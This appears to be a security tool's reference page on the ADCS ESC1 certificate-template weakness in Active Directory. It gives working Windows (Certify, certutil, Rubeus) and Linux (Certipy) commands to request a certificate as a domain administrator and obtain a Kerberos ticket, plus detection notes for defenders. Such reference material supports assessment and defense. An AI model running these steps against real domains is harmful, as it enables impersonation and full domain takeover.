This enterprise CA is trusted for NT authentication in the forest, along with the certificate chain up to the root CA certificate. This setup lets the principal enroll certificates for any AD forest user or computer, enabling authentication and impersonation of any AD forest user or computer without their credentials. 

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Abuse Info

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Windows

Step 1: Use Certify to request enrollment in the affected template, specifying the affected certification authority and target principal to impersonate:

Certify.exe request /ca:rootdomaindc.forestroot.com\forestroot-RootDomainDC-CA /template:"ESC1" /altname:ForestRootDA /sid:S-1-5-21-2697957641-2271029196-387917394-500

Step 2: Convert the emitted certificate to PFX format:

certutil.exe -MergePFX .\cert.pem .\cert.pfx

Step 3: Optionally purge all Kerberos tickets from memory:

klist purge

Step 4: Use Rubeus to request a ticket granting ticket (TGT) from the domain, specifying the target identity to impersonate and the PFX-formatted certificate created in Step 2:

Rubeus asktgt /user:forestrootda /domain:forestroot.com /certificate:cert.pfx /password:asdf /ptt

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Linux

 Step 1: Use Certipy to request enrollment in the affected template, specifying the target enterprise CA and target principal to impersonate:

 certipy req -u john@corp.local -p Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1 -upn administrator@corp.local

Step 2: Request a ticket granting ticket (TGT) from the domain, specifying the certificate created in Step 1 and the IP of a domain controller:

certipy auth -pfx administrator.pfx -dc-ip 172.16.12

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Opsec Considerations

When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate, as well as the target identity the attacker is attempting to impersonate.

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References

This edge is related to the following MITRE ATT&CK tactic and techniques:

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Abuse and Opsec references

Traversable and Non-Traversable Edge TypesADCSESC10a